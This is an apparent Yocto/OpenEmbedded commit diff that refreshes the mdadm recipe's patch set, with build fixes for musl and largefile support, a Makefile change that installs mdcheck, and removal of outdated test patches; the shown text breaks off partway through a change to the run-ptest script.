From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 9 Feb 2016 11:44:01 +0200
Subject: [PATCH] Fix the path of corosync and dlm header files check
@@ -9,16 +9,15 @@ Fix it.
Upstream-Status: Inappropriate [Yocto specific]
Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
---
Makefile | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Makefile b/Makefile
-index 2767ac6..46bf57b 100644
+index cbdba49..7bfd336 100644
--- a/Makefile
+++ b/Makefile
-@@ -91,8 +91,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
+@@ -109,8 +109,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
SYSTEMD_DIR=/lib/systemd/system
LIB_DIR=/usr/libexec/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
new file mode 100644
index 0000000000..a4be1aa8a1
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
@@ -0,0 +1,27 @@
+From 0be066d57a7dd1aead5488d0a095863608f2e559 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 25 Jan 2022 16:25:01 +0800
+Subject: [PATCH] Makefile: install mdcheck
+
+The mdcheck_xxx.service files use mdcheck, but it's not installed.
+We need to install this script.
+
+Upstream-Status: Submitted [Sent patch to maintainer]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ Makefile | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Makefile b/Makefile
+index 1141971..f4059e2 100644
+--- a/Makefile
++++ b/Makefile
+@@ -325,6 +325,7 @@ install-systemd: systemd/mdmon@.service
+ install-bin: mdadm mdmon
+ $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
+ $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
++ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
+
+ uninstall:
+ rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
deleted file mode 100644
index b196084a5c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 02a41c3fd560fb5250186dd6b3cff6b21daa2e2b Mon Sep 17 00:00:00 2001
-From: Mingli Yu <Mingli.Yu@windriver.com>
-Date: Mon, 15 Jul 2019 14:12:24 +0800
-Subject: [PATCH] Revert "tests: wait for complete rebuild in integrity checks"
-
-This reverts commit e2a8e9dcf67a28bc722fa5ab2c49b0bc452d4d74
-as the logic "check state 'U*'" will make the test enters
-infinite loop especially in qemu env, so revert it to
-use the previous logic "check wait" which also used
-commonly by other tests such as tests/02r5grow, tests/07revert-grow
-and etc.
-
-Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2]
-
-Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
----
- tests/01r5integ | 2 +-
- tests/01raid6integ | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tests/01r5integ b/tests/01r5integ
-index 48676a2..ffb30ce 100644
---- a/tests/01r5integ
-+++ b/tests/01r5integ
-@@ -27,7 +27,7 @@ do
- exit 1
- fi
- mdadm $md0 -a $i
-- while ! (check state 'U*'); do check wait; sleep 0.2; done
-+ check wait
- done
- mdadm -S $md0
- done
-diff --git a/tests/01raid6integ b/tests/01raid6integ
-index 12f4d81..c6fcdae 100644
---- a/tests/01raid6integ
-+++ b/tests/01raid6integ
-@@ -47,10 +47,10 @@ do
- exit 1
- fi
- mdadm $md0 -a $first
-- while ! (check state 'U*_U*'); do check wait; sleep 0.2; done
-+ check wait
- done
- mdadm $md0 -a $second
-- while ! (check state 'U*'); do check wait; sleep 0.2; done
-+ check wait
- totest="$totest $second"
- done
- mdadm -S $md0
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
index 12bf6a5920..16fdefbbd1 100644
--- a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
@@ -1,4 +1,4 @@
-From 37c35f94d9d95dbd2b5f8a919f5478be51453590 Mon Sep 17 00:00:00 2001
+From c29d086714b49a6d76ccca83b4a6fa2f139bad6e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 13 Oct 2017 10:27:34 -0700
Subject: [PATCH] Use CC to check for implicit-fallthrough warning support
@@ -10,19 +10,35 @@ cross compile used for compiling mdadm is < version 7
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
---
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ Makefile | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/Makefile b/Makefile
-index 46bf57b..a075912 100644
+index 7bfd336..9ab6a65 100644
--- a/Makefile
+++ b/Makefile
-@@ -53,7 +53,7 @@ ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
+@@ -56,21 +56,21 @@ CWFLAGS += -Wp -O3
endif
--FALLTHROUGH := $(shell gcc -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
-+FALLTHROUGH := $(shell ${CC} -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
- ifneq "$(FALLTHROUGH)" "0"
- CWFLAGS += -Wimplicit-fallthrough=0
+ ifeq ($(origin FALLTHROUGH), undefined)
+- FALLTHROUGH := $(shell gcc -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
++ FALLTHROUGH := $(shell ${CC} -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
+ ifneq "$(FALLTHROUGH)" "0"
+ CWFLAGS += -Wimplicit-fallthrough=0
+ endif
endif
+
+ ifeq ($(origin FORMATOVERFLOW), undefined)
+- FORMATOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
++ FORMATOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
+ ifneq "$(FORMATOVERFLOW)" "0"
+ CWFLAGS += -Wformat-overflow
+ endif
+ endif
+
+ ifeq ($(origin STRINGOPOVERFLOW), undefined)
+- STRINGOPOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
++ STRINGOPOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
+ ifneq "$(STRINGOPOVERFLOW)" "0"
+ CWFLAGS += -Wstringop-overflow
+ endif
diff --git a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
index fa9c8cc835..3cf295106f 100644
--- a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
+++ b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
@@ -1,4 +1,4 @@
-From 3158d3788c2e0fb75ace2c89840bd8a977fb4cb0 Mon Sep 17 00:00:00 2001
+From 78e5bb08971a5644a56af60d51ef35e13522e811 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 14 Dec 2018 15:12:31 +0800
Subject: [PATCH] fix gcc-8 format-truncation warning
@@ -22,7 +22,7 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/super0.c b/super0.c
-index 756cab5..12c28da 100644
+index a7c5f81..a79b6bd 100644
--- a/super0.c
+++ b/super0.c
@@ -229,7 +229,7 @@ static void examine_super0(struct supertype *st, char *homehost)
@@ -34,6 +34,3 @@ index 756cab5..12c28da 100644
int wonly, failfast;
if (d>=0) dp = &sb->disks[d];
else dp = &sb->this_disk;
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..70be43c15e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,56 @@
+From 7759ceda978aba38861d4846d0c1657465b72f04 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 24 Mar 2024 23:13:32 -0700
+Subject: [PATCH] include libgen.h for basename API
+
+Musl does no more provide it via string.h therefore builds with newer
+compilers e.g. clang-18 fails due to missing prototype for basename
+therefore add libgen.h to included headers list
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20240325061537.275811-1-raj.khem@gmail.com/T/#u]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Monitor.c | 1 +
+ platform-intel.c | 1 +
+ super-intel.c | 1 +
+ 3 files changed, 3 insertions(+)
+
+diff --git a/Monitor.c b/Monitor.c
+index 824a69f..e3942e1 100644
+--- a/Monitor.c
++++ b/Monitor.c
+@@ -26,6 +26,7 @@
+ #include "udev.h"
+ #include "md_p.h"
+ #include "md_u.h"
++#include <libgen.h>
+ #include <sys/wait.h>
+ #include <limits.h>
+ #include <syslog.h>
+diff --git a/platform-intel.c b/platform-intel.c
+index ac282bc..5d6687d 100644
+--- a/platform-intel.c
++++ b/platform-intel.c
+@@ -19,6 +19,7 @@
+ #include "mdadm.h"
+ #include "platform-intel.h"
+ #include "probe_roms.h"
++#include <libgen.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+diff --git a/super-intel.c b/super-intel.c
+index dbea235..881dbda 100644
+--- a/super-intel.c
++++ b/super-intel.c
+@@ -23,6 +23,7 @@
+ #include "dlink.h"
+ #include "sha1.h"
+ #include "platform-intel.h"
++#include <libgen.h>
+ #include <values.h>
+ #include <scsi/sg.h>
+ #include <ctype.h>
+--
+2.44.0
+
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
index e00287cab1..f224d0008d 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
@@ -1,4 +1,4 @@
-From 5fdc0173cb4fcf8656f0889ad364d2549795607f Mon Sep 17 00:00:00 2001
+From c27e128fdc062ec3fcdf7b48a8c5078615c538df Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Mon, 1 Jul 2019 11:34:49 +0800
Subject: [PATCH] mdadm: add option -y for use syslog to recive event report
@@ -14,15 +14,12 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/systemd/mdmonitor.service b/systemd/mdmonitor.service
-index 46f7b88..3fc4687 100644
+index 9c36478..d289846 100644
--- a/systemd/mdmonitor.service
+++ b/systemd/mdmonitor.service
-@@ -13,4 +13,4 @@ DefaultDependencies=no
+@@ -14,4 +14,4 @@ Documentation=man:mdadm(8)
Environment= MDADM_MONITOR_ARGS=--scan
EnvironmentFile=-/run/sysconfig/mdadm
ExecStartPre=-/usr/lib/mdadm/mdadm_env.sh
-ExecStart=BINDIR/mdadm --monitor $MDADM_MONITOR_ARGS
+ExecStart=BINDIR/mdadm --monitor -y $MDADM_MONITOR_ARGS
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
deleted file mode 100644
index 3a192cc95c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 1b83afa7c3121f819e72ea74883f8b6d61d6548e Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Fri, 6 Sep 2019 10:59:02 +0800
-Subject: [PATCH] mdadm: skip test 11spare-migration
-
-11spare-migration is a test series to check mdadm Monitor migrates spares
-according to rules in /etc/mdadm.conf defined by POLICY lines.
-
-[snip]
-for scan in no yes; do
- for platform in 1.2 imsm; do
- try
- done
-done
-[snip]
-
-"try" includes near 20 sub testcase, so there are nearly 80 subcases need to run,
-so it will take long time than ptest-runner timeout limit, skip it as workaround.
-
-Upstream-Status: Inappropriate[oe-specific]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- test | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/test b/test
-index 711a3c7..880dd1d 100755
---- a/test
-+++ b/test
-@@ -272,6 +272,9 @@ main() {
- else
- for script in $testdir/$prefix $testdir/$prefix*[^~]
- do
-+ if [ $script == "$testdir/11spare-migration" ];then
-+ continue
-+ fi
- do_test $script
- done
- fi
---
-2.7.4
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
index a1e7e59323..52daea2a49 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
@@ -1,4 +1,4 @@
-From b431cb4e1ed060122fa300dc0008f74080d38f73 Mon Sep 17 00:00:00 2001
+From 4dd5c2659722b44409cee28b4cea68cdeaa1f987 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 9 May 2016 22:03:57 +0000
Subject: [PATCH] mdadm.h: Undefine dprintf before redefining
@@ -20,10 +20,10 @@ Upstream-Status: Pending
1 file changed, 2 insertions(+)
diff --git a/mdadm.h b/mdadm.h
-index 387e681..bb943bf 100644
+index 1f28b3e..04996e2 100644
--- a/mdadm.h
+++ b/mdadm.h
-@@ -1649,11 +1649,13 @@ static inline char *to_subarray(struct mdstat_ent *ent, char *container)
+@@ -1869,11 +1869,13 @@ static inline sighandler_t signal_s(int sig, sighandler_t handler)
}
#ifdef DEBUG
diff --git a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
new file mode 100644
index 0000000000..13435ee418
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
@@ -0,0 +1,155 @@
+From aa86de05cd6a75222b38e0789ac96fe00f705430 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 10 Nov 2022 12:31:22 -0800
+Subject: [PATCH] restripe.c: Use _FILE_OFFSET_BITS to enable largefile support
+
+Instead of using the lseek64 and friends, its better to enable it via
+the feature macro _FILE_OFFSET_BITS = 64 and let the C library deal with
+the width of types
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20221110225546.337164-1-raj.khem@gmail.com/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ raid6check.c | 11 +++++++----
+ restripe.c | 13 ++++++++-----
+ swap_super.c | 13 +++++++------
+ 3 files changed, 22 insertions(+), 15 deletions(-)
+
+diff --git a/raid6check.c b/raid6check.c
+index 9947776..8e7f142 100644
+--- a/raid6check.c
++++ b/raid6check.c
+@@ -22,6 +22,9 @@
+ * Based on "restripe.c" from "mdadm" codebase
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+ #include <sys/mman.h>
+@@ -284,9 +287,9 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+
+ int write_res1, write_res2;
+- off64_t seek_res;
++ off_t seek_res;
+
+- seek_res = lseek64(source[fd1],
++ seek_res = lseek(source[fd1],
+ offsets[fd1] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk1\n");
+@@ -294,7 +297,7 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+ write_res1 = write(source[fd1], blocks[failed_slot1], chunk_size);
+
+- seek_res = lseek64(source[fd2],
++ seek_res = lseek(source[fd2],
+ offsets[fd2] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk2\n");
+@@ -379,7 +382,7 @@ int check_stripes(struct mdinfo *info, int *source, unsigned long long *offsets,
+ goto exitCheck;
+ }
+ for (i = 0 ; i < raid_disks ; i++) {
+- off64_t seek_res = lseek64(source[i], offsets[i] + start * chunk_size,
++ off_t seek_res = lseek(source[i], offsets[i] + start * chunk_size,
+ SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek to source %d failed\n", i);
+diff --git a/restripe.c b/restripe.c
+index a7a7229..1c03577 100644
+--- a/restripe.c
++++ b/restripe.c
+@@ -22,6 +22,9 @@
+ * Email: <neilb@suse.de>
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+
+@@ -581,7 +584,7 @@ int save_stripes(int *source, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (dnum < 0) abort();
+ if (source[dnum] < 0 ||
+- lseek64(source[dnum],
++ lseek(source[dnum],
+ offsets[dnum] + offset, 0) < 0 ||
+ read(source[dnum], buf+disk * chunk_size,
+ chunk_size) != chunk_size) {
+@@ -754,8 +757,8 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (src_buf == NULL) {
+ /* read from file */
+- if (lseek64(source, read_offset, 0) !=
+- (off64_t)read_offset) {
++ if (lseek(source, read_offset, 0) !=
++ (off_t)read_offset) {
+ rv = -1;
+ goto abort;
+ }
+@@ -816,7 +819,7 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ }
+ for (i=0; i < raid_disks ; i++)
+ if (dest[i] >= 0) {
+- if (lseek64(dest[i],
++ if (lseek(dest[i],
+ offsets[i]+offset, 0) < 0) {
+ rv = -1;
+ goto abort;
+@@ -866,7 +869,7 @@ int test_stripes(int *source, unsigned long long *offsets,
+ int disk;
+
+ for (i = 0 ; i < raid_disks ; i++) {
+- if ((lseek64(source[i], offsets[i]+start, 0) < 0) ||
++ if ((lseek(source[i], offsets[i]+start, 0) < 0) ||
+ (read(source[i], stripes[i], chunk_size) !=
+ chunk_size)) {
+ free(q);
+diff --git a/swap_super.c b/swap_super.c
+index b6db574..18c89e2 100644
+--- a/swap_super.c
++++ b/swap_super.c
+@@ -1,3 +1,6 @@
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include <unistd.h>
+ #include <stdlib.h>
+ #include <fcntl.h>
+@@ -16,8 +19,6 @@
+
+ #define MD_NEW_SIZE_SECTORS(x) ((x & ~(MD_RESERVED_SECTORS - 1)) - MD_RESERVED_SECTORS)
+
+-extern long long lseek64(int, long long, int);
+-
+ int main(int argc, char *argv[])
+ {
+ int fd, i;
+@@ -38,8 +39,8 @@ int main(int argc, char *argv[])
+ exit(1);
+ }
+ offset = MD_NEW_SIZE_SECTORS(size) * 512LL;
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (read(fd, super, 4096) != 4096) {
+@@ -68,8 +69,8 @@ int main(int argc, char *argv[])
+ super[32*4+10*4 +i] = t;
+ }
+
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (write(fd, super, 4096) != 4096) {
diff --git a/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
new file mode 100644
index 0000000000..0916efafdf
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
@@ -0,0 +1,24 @@
+From 8fa7d3cb96e8833743b635fb198675ad6c020b6e Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:51:51 +0100
+Subject: [PATCH] util.c: add limits.h include for NAME_MAX definition
+
+Upstream-Status: Submitted [mariusz.tkaczyk@linux.intel.com,linux-raid@vger.kernel.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util.c b/util.c
+index b145447..a9cb6c4 100644
+--- a/util.c
++++ b/util.c
+@@ -36,7 +36,7 @@
+ #include <ctype.h>
+ #include <dirent.h>
+ #include <dlfcn.h>
+-
++#include <limits.h>
+
+ /*
+ * following taken from linux/blkpg.h because they aren't
diff --git a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
new file mode 100644
index 0000000000..145c65477a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
@@ -0,0 +1,27 @@
+From a22b2345b9773d362acd85dd4c4a6a3cda9100d4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:54:08 +0100
+Subject: [PATCH] Create.c: include linux/falloc.h for FALLOC_FL_ZERO_RANGE
+ definition
+
+glibc provides this through fcntl.h but musl does not - should
+be reported and fixed there.
+
+Upstream-Status: Inappropriate [musl-specific issue]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Create.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Create.c b/Create.c
+index 8082f54..7071f0a 100644
+--- a/Create.c
++++ b/Create.c
+@@ -31,6 +31,7 @@
+ #include <signal.h>
+ #include <sys/signalfd.h>
+ #include <sys/wait.h>
++#include <linux/falloc.h>
+
+ static int round_size_and_verify(unsigned long long *size, int chunk)
+ {
diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
index e66a15cd79..b758fcd0ab 100644
--- a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
+++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
@@ -1,5 +1,7 @@
-From: martin f. krafft <madduck@debian.org>
-Subject: Remove -Werror from compiler flags
+From 319b3191f088cea7b0fb6038ab7625d5e049dcf7 Mon Sep 17 00:00:00 2001
+From: "martin f. krafft" <madduck@debian.org>
+Date: Mon, 3 Jan 2022 19:14:12 +0000
+Subject: [PATCH] Remove -Werror from compiler flags
-Werror seems like a bad idea on released/packaged code because a toolchain
update (introducing new warnings) could break the build. We'll let upstream
@@ -9,17 +11,19 @@ Signed-off-by: martin f. krafft <madduck@debian.org>
Upstream-Status: Pending
---
- Makefile | 2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/Makefile b/Makefile
+index 9ab6a65..1141971 100644
--- a/Makefile
+++ b/Makefile
-@@ -48,7 +48,7 @@ endif
-
- CC ?= $(CROSS_COMPILE)gcc
+@@ -50,7 +50,7 @@ ifeq ($(origin CC),default)
+ CC := $(CROSS_COMPILE)gcc
+ endif
CXFLAGS ?= -ggdb
--CWFLAGS = -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter
-+CWFLAGS = -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter
+-CWFLAGS ?= -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
++CWFLAGS ?= -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter -Wformat -Wformat-security -Werror=format-security -fstack-protector-strong -fPIE -Warray-bounds
ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
+ CWFLAGS += -Wp -O3
endif
diff --git a/meta/recipes-extended/mdadm/files/include_sysmacros.patch b/meta/recipes-extended/mdadm/files/include_sysmacros.patch
deleted file mode 100644
index 8a1d8342d8..0000000000
--- a/meta/recipes-extended/mdadm/files/include_sysmacros.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-include sys/sysmacros.h for major/minor macro definitions
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
---- a/mdadm.h
-+++ b/mdadm.h
-@@ -35,6 +35,7 @@ extern __off64_t lseek64 __P ((int __fd,
-
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/sysmacros.h>
- #include <stdint.h>
- #include <stdlib.h>
- #include <time.h>
diff --git a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
index 7a2c888701..ecd1f037d0 100644
--- a/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
+++ b/meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch
@@ -1,4 +1,4 @@
-From e37f7f6a0f1ef1b594574d11a8b90b8c861d047b Mon Sep 17 00:00:00 2001
+From ca91d9fc07943f209988411f2596e4b69828f208 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
Date: Sun, 15 Mar 2015 09:02:14 +0000
Subject: [PATCH] mdadm: Fix build in x32 ABI
@@ -12,16 +12,15 @@ data type in x32 ABI is long long int.
Upstream-Status: Pending
Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
---
monitor.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/monitor.c b/monitor.c
-index 81537ed..7c33382 100644
+index 4acec67..8dcdfd6 100644
--- a/monitor.c
+++ b/monitor.c
-@@ -445,9 +445,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
+@@ -447,9 +447,12 @@ static int read_and_act(struct active_array *a, fd_set *fds)
if (FD_ISSET(mdi->bb_fd, fds))
check_for_cleared_bb(a, mdi);
}
diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
deleted file mode 100644
index 8e2a8a9043..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 911f6ea9be0c334885aeff66853b111cbd4066df Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 10 Feb 2016 17:28:05 +0200
-Subject: [PATCH] mdadm-fix-ptest-build-errors
-
-builds fail with ptest enabled:
-
-| restripe.c: In function 'test_stripes':
-| restripe.c:845:4: error: ignoring return value of 'read', declared with
-| attribute warn_unused_result [-Werror=unused-result]
-| read(source[i], stripes[i], chunk_size);
-| ^
-| cc1: all warnings being treated as errors
-| Makefile:214: recipe for target 'test_stripe' failed
-
-Upstream-Status: Pending
-
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
----
- restripe.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/restripe.c b/restripe.c
-index 31b07e8..592ba5d 100644
---- a/restripe.c
-+++ b/restripe.c
-@@ -864,10 +864,14 @@ int test_stripes(int *source, unsigned long long *offsets,
-
- while (length > 0) {
- int disk;
-+ ssize_t ret;
-
- for (i = 0 ; i < raid_disks ; i++) {
- lseek64(source[i], offsets[i]+start, 0);
-- read(source[i], stripes[i], chunk_size);
-+ ret = read(source[i], stripes[i], chunk_size);
-+ if (ret == -1) {
-+ printf("Read Failed\n");
-+ }
- }
- for (i = 0 ; i < data_disks ; i++) {
- int disk = geo_map(i, start/chunk_size, raid_disks,
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
index fae8071d43..c3f201491e 100644
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ b/meta/recipes-extended/mdadm/files/run-ptest
@@ -1,7 +1,10 @@
#!/bin/sh
-mkdir -p /mdadm-testing-dir
-# make the test continue to execute even one fail
-dir=. ./test --keep-going --disable-integrity
+logdir=$PWD/logs
